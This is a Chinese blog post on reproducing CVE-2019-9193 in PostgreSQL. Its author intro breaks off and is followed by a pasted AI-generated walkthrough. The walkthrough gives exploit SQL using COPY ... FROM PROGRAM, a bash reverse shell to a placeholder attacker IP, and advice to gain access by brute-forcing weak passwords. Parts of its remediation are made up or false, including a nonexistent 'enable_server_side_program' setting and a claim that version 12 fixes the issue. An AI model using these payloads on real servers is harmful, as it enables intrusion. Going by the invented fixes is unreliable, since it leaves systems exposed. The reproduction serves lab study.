【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)

本文详细介绍了PostgreSQL中的CVE-2019-9193漏洞,该漏洞允许超级用户及pg_read_server_files组内的用户执行操作系统命令。复现过程包括了解漏洞背景、利用前提(如需要登录和高权限),以及如何通过弱口令爆破获取高权限,并进一步进行shell反弹操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)

漏洞介绍

这个漏洞是一个版本漏洞

从9.3版本开始,Postgres新增了一个COPYTO/FROMPROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

利用的前提

  • 1、需要登录
  • 2、需要高权限

所以要先弱口令爆破之后,然后查看是否是高权限。

exp

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text)
<think>嗯,我现在要复现CVE-2019-9193这个漏洞,但还不清楚具体步骤。首先,我需要了解一下这个漏洞的背景。好像这个漏洞PostgreSQL有关,涉及到任意命令执行的问题。我记得PostgreSQL是一个开源的关系型数据库,对吧?那这个漏洞的成因是什么呢?可能涉及到数据库的某些功能被滥用,比如COPY命令或者其他什么功能? 接下来,我应该查一下CVE-2019-9193的具体信息。根据公开的资料,这个漏洞允许经过身份验证的攻击者执行任意系统命令。影响版本应该是PostgreSQL 9.3到11版本。那复现这个漏洞的前提条件是什么呢?可能需要在数据库中有写权限的用户,比如能够创建表和执行COPY TO PROGRAM命令? 好的,复现步骤大概包括几个部分:首先配置一个存在漏洞PostgreSQL环境,然后利用COPY TO PROGRAM命令来执行系统命令。可能需要创建一个表,然后通过COPY命令将数据导入到程序中,从而触发命令执行。比如,创建一个表,插入恶意数据,然后使用COPY ... TO PROGRAM '命令'来执行系统命令,比如反弹shell或者创建文件。 不过,我需要确保测试环境的安全,避免影响其他系统。可能需要在虚拟机里安装一个旧版本的PostgreSQL,比如9.3到11之间的某个版本。安装完成后,创建测试用户和数据库,赋予相应的权限。然后登录这个用户,尝试执行攻击步骤。 具体步骤可能是这样的: 1. 使用psql或者其他客户端连接到目标数据库。 2. 创建一个表,比如CREATE TABLE cmd_exec(cmd_output text); 3. 然后执行COPY cmd_exec FROM PROGRAM 'id'; 这里id是系统命令,执行后结果会保存在表中。 4. 查询表,如果看到id命令的输出,说明漏洞存在,命令执行成功。 但这里可能有权限问题,比如用户是否有权执行COPY TO PROGRAM。PostgreSQL的配置文件中可能需要开启相关选项,比如允许执行程序。默认情况下,这些权限可能受限,所以可能需要调整配置,比如修改pg_hba.conf或者调整用户的权限。 另外,攻击者可能需要具有超级用户权限,或者被授予了适当的权限。比如,用户需要被授予pg_execute_server_program角色。但在存在漏洞的版本中,可能普通用户也能执行该命令,导致漏洞。 在复现过程中,可能遇到的问题包括如何正确安装旧版本的PostgreSQL,如何配置用户权限,以及如何构造有效的payload。可能需要查阅PostgreSQL的文档,确认COPY命令的使用方式,以及如何允许用户执行外部程序。 此外,复现成功后,可能需要验证结果,比如检查系统上是否创建了预期的文件,或者命令的输出是否正确返回到了数据库表中。同时,要注意到在较新的PostgreSQL版本中,这个漏洞已经被修复,所以需要确保测试环境使用的是受影响版本。 总结一下,复现步骤大致为: - 搭建存在漏洞PostgreSQL环境(9.3-11) - 创建具有权限的用户 - 利用COPY TO PROGRAM执行系统命令 - 验证命令执行结果 在过程中需要注意权限配置和命令的正确构造,以及测试环境的安全隔离。</think>### CVE-2019-9193 复现指南 #### 漏洞背景 **CVE-2019-9193** 是 PostgreSQL 数据库中的一个高危漏洞,**影响版本为 9.3 至 11**。攻击者通过具有数据库写入权限的账户(如普通用户),可利用 `COPY TO PROGRAM` 命令执行任意操作系统命令,从而实现远程代码执行(RCE)。 --- #### 复现前提条件 1. **受影响版本**:PostgreSQL 9.3、9.4、9.5、9.6、10 或 11。 2. **用户权限**:攻击者需拥有以下权限: - 登录数据库的凭证(用户名/密码)。 - 允许执行 `COPY ... TO PROGRAM` 的权限(默认需超级用户权限,但部分配置可能放宽限制)。 --- #### 复现步骤 ##### 1. 搭建测试环境(以 Ubuntu 为例) ```bash # 安装旧版本 PostgreSQL(示例为 11 版本) sudo apt-get install postgresql-11 # 启动服务 sudo service postgresql start # 创建测试用户并赋予权限 sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'test123';" sudo -u postgres psql -c "ALTER USER testuser WITH SUPERUSER;" # 模拟放宽权限的场景 ``` --- ##### 2. 利用漏洞执行命令 **步骤说明**: - **连接数据库**:使用攻击者账户登录。 - **创建表**:用于存储命令执行结果。 - **执行命令**:通过 `COPY ... TO PROGRAM` 调用系统命令。 - **验证结果**:从表中读取命令输出。 ```sql -- 连接数据库 psql -U testuser -h 127.0.0.1 -d postgres -- 创建表 CREATE TABLE cmd_exec (cmd_output text); -- 执行系统命令(示例:查看当前用户) COPY cmd_exec FROM PROGRAM 'id'; -- 读取结果 SELECT * FROM cmd_exec; ``` **预期输出**: ``` cmd_output ----------------- uid=123(postgres) gid=456 groups=... ``` --- ##### 3. 高级利用(反弹 Shell) ```sql COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"'; ``` --- #### 关键配置与修复 1. **漏洞根源**: - `COPY ... TO PROGRAM` 允许调用系统命令。 - 默认需超级用户权限,但错误配置可能允许普通用户使用。 2. **修复方案**: - 升级到 PostgreSQL 12 或更高版本。 - 限制用户权限:禁止普通用户执行 `COPY ... TO PROGRAM`。 - 修改 `postgresql.conf`:设置 `enable_server_side_program = off`(需重启服务)。 --- #### 注意事项 - **安全隔离**:复现需在虚拟机或隔离环境中进行。 - **权限最小化**:生产环境中避免赋予用户过高权限- **日志审计**:监控数据库日志中的可疑 `COPY` 操作。 通过以上步骤,可验证 CVE-2019-9193 的利用过程及修复方案。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

????27282

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值